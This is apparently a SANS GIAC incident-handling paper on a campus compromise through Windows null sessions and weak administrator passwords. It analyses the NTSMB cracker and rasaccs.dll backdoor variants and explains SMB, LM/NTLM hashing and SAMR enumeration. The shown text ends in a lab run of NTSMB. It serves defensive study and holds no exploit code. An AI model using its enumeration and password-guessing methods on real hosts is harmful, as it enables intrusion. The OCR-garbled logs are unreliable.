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Abstract

This paper describes a recent attack found on our campus network that exploited
both null session feature within Windows NT/2K/XP and weak passwords. It also
illustrates the incident handling process we took in response to this particular
incident.

The two key programs used in this incident — NTSMB and rasaccs.dll — were
slightly different from the ones reported by the anti virus companies, and
therefore, further analysis on these differences are provided in this document.

While the nature of this attack seems to be quite straightforward — utilizing weak
passwords and null sessions, the success of this incident in compromising
hundreds of computers on campus proves that it is still very effective in today’s
computing environment, especially in a highly distributed campus environment.
This paper will demonstrate the entire stages of the attack and how it can be
detected by either the network detection mechanism or the end user system.
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1. Statement of Purpose

The attack described in this paper is based on a recent incident that occurred
within our campus network. Exploiting the null session feature within Windows
NT/2K/XP and weak passwords, the attacker managed to collect enough user
account and password policy information to launch password cracking tools to
harvest the administrator accounts passwords. The collected administrator
account passwords were then used to install a Trojan on any machines that were
successfully connected to. This Trojan then opened a backdoor that provided
the attacker with full access to remotely control these victim machines. The main
goal of this attack is to compromise as many Windows machines on campus as
possible to be used as currency in the underground hackers’ world.

Although the attack was launched from a system (referred as ‘system X’) inside
our network, we believe that it was actually controlled by a hacker from
somewhere on the Internet. This conclusion was mainly drawn based on our
prior experiences. In addition to the limited amount of information on the initial
compromise of ‘system X', the open and decentralized nature of our campus
network brought up a relatively high number of scenarios for the initial
compromise. Therefore, this paper will focus on the attack launched from
‘system X’, not the compromise of ‘system X itself.

Considering the number of ‘compromised machines resulting from this particular
incident, it is very understandable why Windows Authentication (e.g. weak
password) and Windows Remote Access Services (e.g. NETBIOS and
Anonymous Logon) are still listed in The SANS Top 20 Internet Security

Vulnerabilities.
2. The Exploit
2.1 Name

As mentioned in the previous section, the key success factor of this attack is the
high number of Windows systems with weak administrator passwords that have
the null session feature enabled. The related exploits are listed below:

e CAN-1999-0503: “A Windows NT local user or administrator account has a
guessable password.”

e CAN-1999-0504: “A Windows NT local user or administrator account has a
default, null, blank, or missing password.”3

Uhttp://www.sans.org/top20/#threats
2 http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0503
3 http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0504
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e CAN-1999-0505: “A Windows NT domain user or administrator account has a
guessable password.”

e (CAN-1999-0506: “A Windows NT domain user or administrator account has a
default, null, blank, or missing password.”5

e (CVE-2000-0222: “The installation for Windows 2000 does not activate the
Administrator password until the system has rebooted, which allows remote
attackerg to connect to the ADMIN$ share without a password until the reboot
occurs.”

e CVE-2000-1200: “Windows NT allows remote attackers to list all users in a
domain by obtaining the domain SID with the LsaQuerylnformationPolicy
policy function via a null session and using the SID to list the users.”’

2.2 Operating System

All versions of Windows are affected, including Windows NT, Windows 2000, and
Windows XP.

2.3 Protocols/Services/Applications

2.3.1 Weak Passwords

Administrators depend on passwords to authenticate users to their computers,
email accounts, file shares, and other resources on either the local area network
or the Internet. Along with this popular use of passwords as an
authentication/protection method, most users tend to conveniently believe that
their passwords will remain safe from others (i.e. no one will want to take the time
and effort to try to guess other people’s passwords) and that a password,
regardless of its format, is a powerful enough instrument to protect their email
accounts, file shares, etc. With these perspectives in mind, users, including
administrators, often utilize the same password for most/all of their
machines/applications. To increase the severity of the situation, the number of
systems with either weak or default passwords is quite high. These passwords
are vulnerable to simple dictionary password attacks and can often be cracked in
an extremely short period of time.

2.3.2 Null Sessions
As Finamore J. explains in his paper® ‘Null Sessions in NT/2000’, a null session —

known as anonymous access to server — is a session that is established with a
server without involving any user authentication. The null session was initially

* http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0505
5 http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0506
® http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0222
7 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1200

8 http://www.sans.org/rr/papers/67/286.pdf
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intended to allow unauthenticated hosts, especially the Win95/98/NT hosts that
are not domain members, to obtain browse lists from NT servers and participate
in Microsoft networking.’ Finamore J. describes various scenarios where the null
session feature becomes very useful and some of them are summarized below?®:

¢ Null sessions function regardless of the trust relationships and “allow direct
enumeration of machines and resources in a domain from an unauthenticated
machine with little prior knowledge”. Therefore, they are particularly useful for
building a trust relationship among domains in the first place.

¢ Null sessions allow administrators to connect resources in all domains
through the enumeration of users, machines, and resources.

e When LMHOSTS.SAM file is utilized to perform NetBIOS name resolution
and the file uses the “INCLUDE <filename> tag”, “the share point that
contains the included file must be setup as a null session share”.

e Null sessions are used when the services running under the local ‘SYSTEM’
account need access to the network resource, such as available shares,
usernames, etc. of other machines.

In addition to allowing an unauthenticated machine to enumerate user accounts,
machines and their resource shares in a domain, null sessions allow
enumeration of password policy that provides attackers with opportunities to plan
their attack strategies ahead of time.

2.4 \Variants

The two main tools used in this attack are the ntsmb.exe (a dictionary password
cracker for administrator accounts) and the rasaccs.dll (a backdoor trojan).

2.41 NTSMB

Below are links to other incidents utilizing the nismb.exe and a trojan report from
McAfee:

e Incident report from Stanford University — March 13, 2003"°

e Incident report from University of Texas — February 16, 2003

e PWS-NTSMB trojan report from McAfee — February 10, 20032

It appears that the ntsmb.exe used in this particular incident (found on the
compromised machine as part of the rootkit) had gone through some
transformations and was slightly different from the one reported in the links
above.

% http://downloads.securityfocus.com/library/null.sessions.html

19 hitp://groups.google.com/groups ?g=ntsmb.exe&hl=en&Ir=&ie=UTF-8&o0e=UTF-
8&selm=%23IFDQpZ6CHA.2308%40TK2MSFTNGP10.phx.gbl&rnum=1

' hitp://www.dshield.org/pipermail/unisog/2003-February/005546.php

12 http://vil.nai.com/vil/content/v_100050.htm
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The followings are some of the noticeable differences:

1. NTSMB consists of:
e Original NTSMB (reported earlier)"
v ntsmb.exe — MD5:44181afc63fdb96b9c89fb31be78d58b — Size: 57,344 bytes
v ntsmb.dic — MD5:745b4247546e0b118b5b809d69ef1f32 — Size:15,733 bytes
v ntsmbcommon.dic — MD5:79ab36778dc5c1a312cc0e5bec755d4d — Size:91 bytes
e NTSMB found in this incident
v ntsmb.exe — MD5:424c737c¢7991fd8a2efddf59dd9bc658 — Size: 37,376 bytes
v ntsmb.dic — MD5:2c9a6eb9d8efaedea330ea104908e8fe — Size: 1,502 bytes
v ntsmbcombos.dic — MD5:4e239b2175276fa0bde6b956cae40b17 — Size: 3,268
bytes
v ntsmbcommon.dic — MD5:79ab36778dc5c1a312cc0e5bec755d4d — Size: 91
bytes
In addition to file size, the MD5 algorithm is used to generate a 128-bit
‘fingerprint of each file.
The only common file (with matching name, size and MD5) between these
two NTSMB variants is the ntsmbcommon.dic that contains a list of common
default passwords. While the ntsmb.exe and ntsmb.dic found in this incident
are different from the original ones, the ntsmbcombos.dic is a new dictionary
file found only in this newer variant of NTSMB.

2. While the original NTSMB was not reported as packed/compressed, the
version found in this incident was compressed with ASPack and could be
successfully unpacked using AspackDie 1.3d". As quoted from the ASPack
Software website, ASPack is “an advanced Win32 executable file compressor,
capable of reducing the file size of 32-bit Windows programs by as much as
70%""*. Itis a very useful tool to protect programs against reverse
engineering. This explains the smaller size of the ntsmb.exe found on our
campus.

3. The original NTSMB was reported to use the string ‘SOUF’ as the contents of
the Primary Domain, Native O/S, and Native LAN Manager fields." From the
event viewer logs found on our systems, it appeared that this new version of
NTSMB introduced more string variations, such as ‘SSSS’, ‘XXXX, ‘YYYY'.
Below are samples of the actual event viewer logs.

B http://www.exetools.com/files/unpackers/win/aspackdie 13d.zip
' http://www.aspack.com/
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Failure audit

Event Type:
SacuriTy

Event Source:
Evenlt Carteqary: ACCOount Logon
= oo

Event ID

DaTe:

T 2:41:23 PM

usar: WNT AUTHORITY SvETEM
Campurer LB ]

Description:
LOgon ATTenpT by MICROSOF T_AUTHENTICATION_PACKAGE _wi_0
Logon account: admin
Source workstation: i . ..
Error Code; GRCGDGDUGA
For more information, see Help and Support Center at http://go.wicrosoft. com/fwlink/events. asp.
Event Type: Failure asudit
EVEnt Source: Sacurity
Evenl Careqdry. ngﬁﬂ;"LﬂgDrf

Event ID:

DaTe o

Time: 2:41:23 FM

usar: MNT AUTHORITY . SvSTEM
COmpUTar D .- .

Description:
Lagon Faflure:

REason: Unkriown user pame or bad pass=word
uUsar same: admin

Domain: YW

Logon Type: 3

LoQan Pracess, MTLMSSR

Authentication Package: NTLM
workstation nNama: e W
caller user Mame; =
caller Domain:
caller Lagon ID: o
caller Process ID: -
Transitad Services:
SOUr e NeTwark .-1dl'.|= 8553 — .-
Source Port:
Far more information, :E'E" Halp amnd Support center at htTp:/ go,eforosoft, com/fwlink /events, asp.

SUCCESS audit

H Security

EVent Cateqary; L_Dgl:!l" FLngott
D: a4

Ewvent

Date

T e 2341523 PM

user: WT AUTHORITY ' AMONYMOUS LOGON
COMpUTer R - .

Description:

Succassful Natwork Logon:
Usar Mamed
Domain:
Logan I
Logon Type: 3
Logon Process: NILmMSSP
authenti<ation Package: NTLM
wWorkstation Mame:
SEQn GUID: =
Caller User Mame:; =
caller Domain: -
caller Logon ID: =
Caller Process ID:
Transited services! -
Source Netwark Add: reeay L L]
Source Port:

Far more information, EEE Malp amnd Support Center at horp: )/

Figure 1. Event View Logs — target systems

(oD, Ila7 SBT2)

Sgo.eicrosolf T, com/Twlink/events, asp.

If the earlier version of ntsmb.exe utilized two dictionary files, i.e.
ntsmbcommon.dic and ntsmb.dic, this new version appeared to load a third
dictionary file called ntsmbcombos.dic that contained combinations of
usernames and passwords as shown in the screen shot below (viewing the
unpacked version of the ntsmb.exe using BinText'® — a free text extractor
from Foundstone). The fact that this incident successfully cracked some
pretty strong passwords leads me to believe that this new feature makes the
ntsmb.exe a much more powerful dictionary password cracker.

File poz | Mem pos | 0] | Tent

A 00000844 00400844 0 i Combos Loaded...

A DDOODBAC 0040D85C 0 rtsrmbcombog. dic

A 0OODBEC 0040D86C 0 #i Commian Pagswards Loaded...
1]
1]

A 000D8aC 00400830 %i Pagswords Loaded...
A 0000DSBC 0040DEBC rtsmb

15

http://www.foundstone.com/index.htm?subnav=resources/navigation.htm&subcontent=/resources/proddesc

/bintext.htm
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Figure 2. Bintext view of ntsmb.exe

5. This new version of ntsmb.exe seems to have good self protection. It
returned an error message and deleted itself and two of its dictionary files
when not being run correctly as illustrated in the screen shots below.

C:stestntambh res.txt
INITIALIZATION ERROR

s

you very much and have a nice g :

Figure 3. Initialization error — new ntsmb.exe

File Monitor'® is used here to monitor all file related modifications while
running ntsmb.exe and it showed that both the nismbcommon.dic and
ntsmb.dic are successfully deleted.

B File Monitor - Sysinternals: www.sysinternals.com

File Edt Options Yolumes Help

B ABEIO 97| AY |

i | Time | Process | Request | Fath | Result | [ther
31 22327 AM =l ntsmb.exe:304 OFEN Chtoolsestintsmboommon.dic  SUCCESS Dptions: Open Access: &l

ntsmb. exe: 304 [ \ntsmbcommon. dic SUCCESS
=1 ntsmb.ere:904 CLOSE C\toolsMestintamboommon.dic— SUCCESS
T ritsmb. e 304 OFENM Chtoolshestintsmb. dic SIICCESS Options: Open Access: Al
bl ritsib e 904 DELETE C:htoolsMtestints
3% = ntsmb.exe:904 CLOSE C-bonlz\testintamb, dic SLICCESS
M7 22T EM = ntsmb.exe:904 OPEM C:\toole\tests bat SUCCESS Options; Openlf Access: Al
38 22327 AM = ntsmb.ere:904 QUERY INFORMATION — C:\toolshtest'e bat SICCESS Length: 0
1/ 22327 AM =1 rtsb.exe: 304 QUERY INFORMATION — C:\oolshtest's bat SICCESS Length: 0
00 22327 EM =1 nismb.exe:304 WRITE C:toolshtests. bat SUCCESS [ffset: 0 Length: 93
M 22T EM =1 ntsmb.exe:904 CLOSE Cbonlz\tests bat SLICCESS

Figure 4. File Monitor view — new ntsmb.exe

Below is an error message while running the original version of ntsmb.exe
improperly, using its full filename (ntsmb.exe instead of ntsmb only).
However, this original version did not try to delete itself.

C:sUINNT~Temp>ntsmh.exe res.txt
HTSHE v.17

Mame me hack to ntsmbh.exe.
Figure S. Initialization error — original ntsmb.exe

Despite the differences above, both variants stored all the successfully cracked
accounts, together with the corresponding passwords and IP addresses in a
colon separated file called ntsmb.txt.

Although | managed to unpack this new ntsmb.exe variant using AspackDie
1.3d", | have not been able to pass its self-protection checks. Thus, | always

16 http://www.sysinternals.com/ntw2k/source/filemon.shtml
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ended up with the same initialization error message and deleted ntsmb.exe and
dictionary files.

For this reason, | used the original version of the ntsmb.exe in this paper. Both
versions serve the same fundamental purpose of cracking weak passwords on
Windows machines by utilizing dictionary attacks and exploiting the ‘null session’
feature.

2.4.2 Rasaccs.dll

In the case of the rasaccs.dll backdoor Trojan, the variant we found on campus is
also slightly different from the one reported as Backdoor.Anyserv.B'" by
Symantec. The main difference is the affected registry key:
e Backdoor.Anyserv.B

HKEY LOCAL_MACHINE\System\CurrentControlSet\Services\RemoteAccess
e Rasaccs.dll found in this incident

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\RasAuto

A more detailed description of the differences will be discussed later in the
Stages of Attack section.

2.5 Description

This attack was focused on exploiting weak passwords and the ’null sessions’
feature of Windows. It utilized ntsmb.exe — a dictionary-based administrator
password cracker — that accepted a file containing a list of IP address to probe as
an argument to exploit Windows NT/2000/XP machines utilizing the SMB
protocol.

The SMB discussion in this section is summarized from the four main sources
below. The diagrams and figures are also obtained directly from these sources:
e What is SMB? by Richard Sharpe'®
e Implementing CIFS by Christopher R. Hertel®
. gom%on Internet File System (CIFS) Technical Reference, Rev.1.0 by

NIA

e CIFS Explained by CodeFX?'
2.5.1 What is SMB?

SMB (Server Message Block) is “a protocol for sharing files, printer, serial ports,
and communications abstractions such as named pipes and mail slots between

17 hitp://securityresponse.symantec.com/avcenter/venc/data/backdoor.anyserv.b.html
18 http://samba.anu.edu.au/cifs/docs/what-is-smb.html

1 http://ubiqx.org/cifs/SMB.html

2 http://www.snia.org/tech_activities/CIFS/CIFS-TR-1p00_FINAL.pdf

2! http://www.codefx.com/CIFS_Explained.pdf
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computers. “'® When the computers providing the resources (e.g. file systems,
printers, mail slots, named pipes, APIs, etc.) are called ‘servers’, those that are
utilizing the resources are known as ‘clients’. Therefore, SMB is a “client server,
request-response protocol.” '®

The diagram below, obtained directly from Sharpe, R.’s article'®, illustrates
various protocols that are compatible with SMB and thus, it is called a ‘transport
independent protocol.?’

OSI TCP/IP
Apphcatl.on SMB o
Presentation Application

Session NetBIOS NetBIOS | NetBIOS
Transport g NetBEUI TCP&UDP| TCP/UDP
Notetrl | © ey IP P
; 802.2, 802.2 = .~ Ethernet or
Link 80238025 [302.3.802.5 Ethernet V2|[Ethernet V2 ofhers
Physical

Figure 6. SMB Transport Protocols

2.5.2 SMB over NetBIOS vs. TCP/IP

In this paper, we will focus only on SMB over NetBIOS API or SMB directly over
TCP/IP. The differences between SMB over NetBIOS and SMB over TCP/IP are
summarized in the table below:

SMB over NBT (NetBIOS) SMB over TCP/IP

1 | Uses port 139 TCP — NBT Session Uses port 445 TCP

. | Service port

2 | Uses NBT SESSION REQUEST and Does not use NBT SESSION REQUEST
POSITIVE SESSION RESPONSE and POSITIVE SESSION RESPONSE
messages messages

3 | Supported in Windows clients Supported in Windows 2000/XP and

.| (including the legacy ones) Samba

4 | Prepends a 4-byte header to each Prepends a 4-byte header to each
SESSION MESSAGE, including 17 bits | SESSION MESSAGE, including 24 bits of
of LENGTH LENGTH

‘ 0 (zero) |<Iesa1&d> | LENGIH (17 bits) ‘

Figure 7. SMB over NBT Session Message19

WWWFWWWWFFFEFFFFEFW‘

0 [zero) LENGTH (24 bits)

Figure 8. SMB over TCP/IP Session Message
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When both the NBT and direct TCP/IP transports are supported, most SMB
implementations will prefer SMB over TCP/IP. This means that when the SMB
client responds on port 445/TCP and port 139/TCP, the server will only send an
acknowledgement to port 445/TCP of the SMB client. Thus, an SMB session is
then established directly over TCP/IP rather than NetBIOS.

In addition, the SMB protocol is also used as a transport for the DCE/RPC
protocol. The DCE/RPC protocol is used to “process Server and User
management information, like logon information, Local Security, Account
management, Server/Workstation services and CIFS networking management
functions (like browsing and domain controller management)”. 2

2.5.3 SMB Messages

SMB messages are composed of a header, a parameter block, and a data block.

SMB Message Header
FEEEEEWFEEEEEEEFEEEE EEFEEEEEEE
OxEf =Y T B

| comawp || STATUS. ..

| ...sTaTUS | FLAGS | FLRGS2
EXTRA

| TID | BID

| uID | MID

Figure 9. SMB Message Header™

1. Always starts with 4 bytes of protocol identifier string: “\xffSMB”.

2. Followed by a 1 byte command field. Examples of SMB commands are
SMB_COM_READ_ANDX (0x2E), SMB_COM_TREE_CONNECT (0x70),
and SMB_COM_NEGOTIATE (0x72).

3. The two different templates for the status field are:

a. DOS and OS/2 — 16-bit error codes that are grouped into classes.

EEEEEEEMEEEEEEEFEEE& ZRERERERER

|Erranla55 | <reserved=

ErrorCode

Figure 10. DOS & 0S/2 Error Code™
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b. Windows NT — 32-bit error codes, known as NT_STATUS codes.

FT_memEWWEEFEEEFEEFM

|Level-quaxed}| Facility ErrorCode

Figure 11. NT_STATUS Code”

Level field: 00 — Success, 01 — Information, 10 — Warning, 11 — Error.
Reserved field: always zero.

Facility field: zero to indicate SMB errors.

ErrorCode field: the same as DOS version of ErrorCode.

4. The Flags field is used to modify the interpretation of SMB (e.g. the highest-
order bit determines whether the SMB is a request (0) or a response (1))

5. The Flags2 field is used to indicate the use of newer features such as the
SMB_FLAGS2 _EXTENDED_SECURITY (0x0800). If this extended security
flag is set (value = 1), it means that the sending node understands Extended
Security.

6. The Extra field is consists of two subfields, the PidHigh subfield (to
accommodate systems that have 32-bit Process IDs) and the Signature
subfield (for SMB message signing). This extra field must be filled with zeros
when not in use.

WEIZHH?FEEFEEEFEEFEEEEEEFEEFEE

PidHigh Signature...

| 51gnatare o

| ...5ignature | <unused:s

Figure 12. Extra field"

7. TID, PID, UID, MID

a. TID/ Tree ID — an identifier assigned by the server to identifies
connections to shares once they are established.

b. PID/ Process ID — set by the client, it identifies the process sending the
SMB request.

c. UID/ User ID — a session token assigned by the server once a user is
authenticated and it expires after user logoff, known as VUID (Virtual User
ID).

d. MID/ Multiplex ID — the client uses it to track multiple outstanding requests,
based on the MID and PID echoed back by the server.

e. These fields (TID, PID, UID, MID) are only intended to keep track of SMB
context and thus, they do not necessarily meaningful outside of the SMB
connection.
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SMB Message Parameters

FFFFFFFFFFFFFFFFFFFFFHT

WordCount Words.

F igure 13 SMB Message Parameters’®
The SMB message parameters contain:

1. WordCount field — indicates the number of words in the Words array (in
unsigned byte — maximum length of 510 bytes).

2. Words array — a block of data (2 x WordCount bytes in length) that holds the
SMB parameters and it varies with SMB command.

FFFFF[FFFFFFFFFFF[FFFHT

F igure 14. SMB Message Data’®
The SMB message data contains:
1. ByteCount field — indicates the number of bytes in the Bytes field (in unsigned

short — maximum length of 65535 bytes).
2. Bytes field — holds the data to be manipulated.
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2.5.4 SMB Conversation'®

Assuming that a transport layer connection has been established — either over
NBT or directly over TCP/IP, below is the flow of SMB conversation:

1. SMB Protocol Negotiation — 0x72 (SMB_COM_NEGOTIATE). The goal is to
agree on a SMB dialect to use for the rest of the conversations. The SMB
request and response messages for SMB protocol negotiations follow the
SMB message template described earlier.

2. SMB Session Setup — used for user authentication and user session
establishment.

3. SMB Tree Connect — used for accessing a share/ other resources.

4. SMB Tree Disconnect — optional because all resources are released once the
client closes the session at the transport layer.

The diagram below is taken directly from http://ubigx.org/cifs/figures/smb-06.html.

LN A AN I S K A 4
O=<<<<<<<

Client Server
MNegotiate MNegotiate
Protocol » Protocol
Request Response
Sassion Session
Setup Setup
Request Response
—>
Treea Trea
Connect Connect
Request Response
oenenenananas [Conwversation] - e
Tree Tree
DHsconnech e p Disconnect
Request e RESpPONISE
L

e [ TCT Disconnact]----- >
Figure 15. SMB Conversation

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.



In addition, several SMBs can be combined into a single symbiotic packet and
thus, construct SMB AndX messages. The AndX SMB chaining is described
more clearly in the figure below. '

AndXOf feot

arc

|

(2] o
Header | Parameters Data kFarameters Data

Figure 16. AndX SMB Chaining

As mentioned in the figure above, each parameter block begins with the following
structure: '°

o 2R R € R o R e R e S R E R R R R SRR

F—LndJ{Cr:urm'nand | <reserveds | And¥Offset

F igure 17. AndX SMB Chain — Parameter Block Structure

e AndXCommand field provides the SMB command code for the next AndX
block. The AndXCommand of the last AndX block has a value of 0xff.

e AndXOffset field has the byte index, relative to the start of the SMB header, of
the next AndX block. The AndXOffset of the last AndX block has a value of
zero.

2.5.5 SMB Dialects"®

Dialect Identifier Notes

PC NETWORK The Core Protocol - also identified by the string "PCLAN1.0".
PROGRAM 1.0

MICROSOFT The Core Plus Protocol. — extends a few Core Protocol SMB
NETWORKS 1.03 | commands, and adds a few new ones.

MICROSOFT The Extended 1.0 Protocol or LAN Manager 1.0 — created when IBM

NETWORKS 3.0 and Microsoft were working together on OS/2, designed for DOS
clients, which understood a narrower set of error codes than OS/2.
LANMAN1.0 The LAN Manager 1.0 or the Extended 1.0 Protocol — the
MICROSOFT NETWORKS 3.0 dialect for OS/2 clients, understood a
larger set of error codes. Both OS/2 and DOS expect that the
STATUS field will be in the DOS-style ErrorClass / ErrorCode format.
LM1.2X002 The Extended 2.0 Protocol or LAN Manager 2.0 — represents OS/2
LANMAN version 2.0, and introduces a few new SMBs. The identifier
for the DOS version of this dialect is "DOS LM1.2X002". The OS/2
version still provides a larger set of error codes than the DOS
version.
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Dialect Identifier

Notes

LANMANZ2.1

The LAN Manager 2.1 dialect, documented in a paper titled Microsoft
Networks SMB File Sharing Protocol Extensions, Document Version
3.4 ("SMB-LM21.DOC").% It explains how LANMANZ2.1 differs from
its predecessor, LANMANZ2.0.

Samba

Listed in the protocol negotiation request coming from a Samba-
based client such as smbclient, KDE Konqueror (which uses
Samba's libsmbclient library), or the Linux SMBFS implementation.

NT LM O0.12

The NT LANMAN, developed for use with WindowsNT. It is currently
the most widely supported. All of the Windows9x clients and
Windows2000 and XP claim to support it. It is, quite possibly, also
the sloppiest with all sorts of variations and differing
implementations.

CIFS

A dialect based on the IETF CIFS protocol drafts.

2.5.6 SMB Authentication Schemas™®

1. Anonymous and Guest Login
a. The SMB session setup requests do not include username and
password in case of the anonymous login. It is used to access special
purpose SMB shares, e.g. the IPC$ (Inter-Process Communications
share) hidden share.
b. The guest login can be used in the same way as the anonymous login.
2. Plaintext Passwords (user-level/share-level security)
a. The passwords are sent from clients to servers in clear text, so they
can be easily sniffed.
3. LM challenge/response

a. The LM Hash is derived from the password and a copy of it is stored on
the server’s authentication database. Since the LM Hash is password
equivalent and its algorithm is easy to crack, it must be protected as if it
were the password.

b. The server generates a very random string of bytes, called a challenge,
and sends it to the client. The SecurityMode field of the NEGOTIATE
PROTOCOL response will have bit 0x02 set and the challenge will be
found in the EncryptionKey field.

oo

Both the client and server use the LM Hash to encrypt the challenge.
The client sends the encrypted challenge, called LM response, to the

server either in the SESSION_SETUP_ANDX.CaselnsensitivePassword
field (for user level security) or the TREE_CONNECT_ANDX.Password
field (for share level security).

e. The server then sends back a SESSION SETUP ANDX RESPONSE that
includes an authentication status (success/failure).

Although the LM challenge/response is definitely an improvement over the
plaintext mechanism, it is still very vulnerable to password dictionary and

22 hitp://us.samba.org/samba/fip/specs/smb-Im21.doc

© SANS Institute 2004,

As part of GIAC practical repository. Author retains full rights.



brute force attack due to the weaknesses embedded in the LM Hash

algorithm itself, i.e. the upper-casing, null-padding, chopping, and

concatenation described in the LM Hash generation process below.

The Lan Manager (LM) hash, a sixteen byte string that is generated from: '

e The user password is either padded with nulls (0x00) or trimmed to
fourteen (14) bytes. The password is given in the 8-bit OEM character set
(extended ASCII), not Unicode.

e The 14-byte password string is converted to all upper-case.

e The upper-case 14-byte password string is chopped into two 7-byte keys.

e The seven-byte keys are each used to DES-encrypt the string constant
"KGS!@#%$%", which is known as the "magic" string.

e The two 8-byte results are then concatenated together to form the 16-byte
LM hash.

4. NTLM Challenge/Response, an improved version of LM Challenge/Response
with the following differences:

a. The hash is generated from a mixed-case Unicode (UCS-2LE)
representation of the password.

b. In addition, the MD4() message digest function (RFC 1320) is used
instead of the DES() function and therefore, the generated 16-byte hash
does not require any padding or trimming of the input.

c. The NTLM Response is sent to the server in the
SESSION_SETUP_ANDX. CaseSensitivePassword field.

Despite the above improvements, the NTLM Response is still generated
using the same 56-bit encryption algorithm as it is in the LM Response. Also,
some clients still include both NTLM Response and LM Response in their
SESSION SETUP ANDX REQUEST for backward-compatibility reason.

5. NTLMv2 — utilizes 128-bit encryption:

a. Uses the HMAC-MD5 Message Authentication Code Hash, which is a
combination of HMAC and MD5. “HMAC is a Message Authentication
Code algorithm that takes a hashing function (such as MD5 — an
industrial-strength version of MD4) and adds a secret key to the works so
that the resulting hash can be used to verify the authenticity of the data.

b. NTLM2 hash = HMAC_MD5 (NTLM hash, 16, data, datalen)

e NTLM hash: calculated based on the information in the NTLM
Challenge/Response section.
e (data contains concatenation of two Unicode strings, i.e.:
- The Netbios name of either the SMB server or the NT Domain
against which the user is trying to authenticate
- The username that has been converted to upper-case UCS-2LE
Unicode.
e datalen: the length of the concatenated Unicode strings, excluding the
null termination.
c. The NTLMv2 response = concat (hmac, 16, blob, blobsize)
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e blob: normally with the size of 64 bytes, is generated randomly and
appended to the end of the challenge. In practice, the blob is based on
a formula described in more detail in Hertel C.’s book. °

e hmac: the result of the HMC_MD?5 function, using the NTLMv2 Hash
as the key and passing the challenge and blob into the function.

e The blob and blobsize bytes of the blob is then appended to the end of
the HMAC_MD5() result to create the NTLMv2 response.

d. The NTLMv2 response is sent by the client in the
SESSION_SETUP_ANDX. CaseSensitivePassword field.

The fact, that NTLMv2 introduces a much complex algorithm, slows down
password dictionary and brute force attacks against it. However, accounts
with weak passwords, especially if the passwords are near the beginning of
the password dictionary, are still vulnerable.

The default behaviors of the Windows clients and servers are to send and
receive both the LM and NTLM responses. To force the use of NTLMv2, the
following registry variable needs to be changed/ created:
e Windows 9x:
HKLM\System\CurrentControlSet\Contro\LSA\LMCompatibility
o  Windows NT/2000:
HKLM \System\CurrentControlSet\Contro\LSA\LMCompatibilityLevel

2.5.7 IPC$ share

According to Microsoft KB 314984%%, Windows NT/2000/XP enables the following
hidden shares — a hidden share is always identified by a dollar sign ($) - by
default, i.e.:
e The root partitions or volumes (e.g. C$, D$, etc.)
The system root folder (i.e. ADMINS)
The FAX$ share
The IPC$ share
The PRINTS share.

The hidden share that was used to facilitate this attack was the IPC$ share. ltis
“a share that is used to with temporary connections between clients and servers
by using named pipes for communications among network programs. It is
primarily used for remote administration of network servers.”®® In addition to the
LanManager functions, the IPC$ share is a transport for the DCE/RPC
functions.?*

2 http://support.microsoft.com/default.aspx?scid=kb:en-us:q314984&sd=tech
2 DCE/RPC over SMB Samba and Windows NT domain Internals

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.



Combining the anonymous access to the IPC$ share and function calls to
DCE/RPC pipes such as \PIPE\srvsvc and \PIPE\Isarpc, unnecessary
information regarding the server (using the NetServerGetInfo function) and the
Security Identifier (SID) of the Primary Domain Controller can be easily revealed.

2.5.8 DCE/RPC - Distributed Computing Environment Remote
Procedure Call

DCE/RPC allows: **

e functions being called on remote computers as if they were local functions.

e a set of functions being associated together; revision control of/ upgrading of/
negotiation for the use of a complete set of functions

e user authentication before the use of a set of functions.

e Transparent encryption of function parameters.

The DCE/RPC function calls are uniquely identified by an Opcode/ Opnum, a
Universally Unique Identifier (UUID), and a revision number. A detail
specification of this protocol can be obtained from the Open Group site.?

2.5.9 SAMR (Security Accounts Manager) %*

\PIPE\samr is a named pipe that provides access to and management of the
Security Account Manager database. ?* It is accessible through various the
DCE/RPC operations.

When anonymous access to IPC$ share is allowed, below are some of the samr

security issues: 24

e “Polling for valid Relative Identifiers (RIDs) in a SAM database”
A valid RID can be obtained by making individual SamrOpenUser call with
every possible RID in a domain (0Ox3fe to Oxffffffff). A full user profile can then
be acquired through the SamrQueryUserInformation operation.

e “Resolution of Relative Identifiers (RIDs) to names and vice-versa”
Passing an array of RIDs (especially the well-known RIDs, e.g. the
Administrator’s RID) to the SamrLookupRids function will cause the server to
response with the user name or group name when given a valid RID. The
SamrQueryUserInfo, SamrQueryGrouplnfo, or SamrQueryAliasinfo call can
then be performed based on valid RIDs to retrieve more information.

e “Enumeration of all entries in the SAM database”
The SamrQueryDisplaylnfo operation allows complete listing of user names
and their RIDs. Although this problem can be resolved by requiring a value of
‘0x1’ in the \HKLM\System\CurrentControlSet\Control\Lsa\RestrictAnonymous
registry key, “this restriction does not nearly go far enough, what with all other

% http://www.opengroup.org/public/pubs/catalog/c706.htm
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methods available to obtain SAM database information (including
LsaLookupSids)”.

2.5.10 NTSMB in Action — Using Ethereal

NTSMB executes its password cracking by first trying to enumerate members of
the administrators group via null sessions. If the enumeration succeeds, it will
start the dictionary attack on all members of the administrators group. In a case
where the enumeration fails, NTSMB will perform pure password cracking
against the ‘administrator’ and ‘admin’ accounts.”’

In addition, NTSMB also checks the password policy set on the system before
starting its dictionary attack and acts differently according the returned value. "

C:SUWIHNNT~Tempintsmb res.txt

192.168.20%7.201
192 .168.20%.2681
192 .168.20%7.201
192 .168.20%.2681
192 .168.20%7.201
192 .168.20%.2681
192 .168.20%7.201
192 .168.20%.2681
192 .168.20%7.201
192 .168.20%.2681

Enumerating

administrator
administrator
administrator
administrator
administrator
administrator
administrator
administrator
administrator

password

administrator
administratorl
administratorl2
administratorl23
rotartsinimda
admin

test

© SANS Institute 2004,

192 168 .20% 201
192 _168.20% 264
192 168 .20% 201
192 _168.20% 264
192 168 .20% 201
192 _168.20% 264
192 .168.20% 201
192 .168.28% .201
192 .168.20% 201
192 .168.28% .201
192 .168.20% 201
192 .168.28% .201
192 .168.20% 201
192 .168.28% .201
192 .168.20% 201
192 .168.28% .201
192 .168.20% 201
192 .168.28% .201
192 .168.20% 201
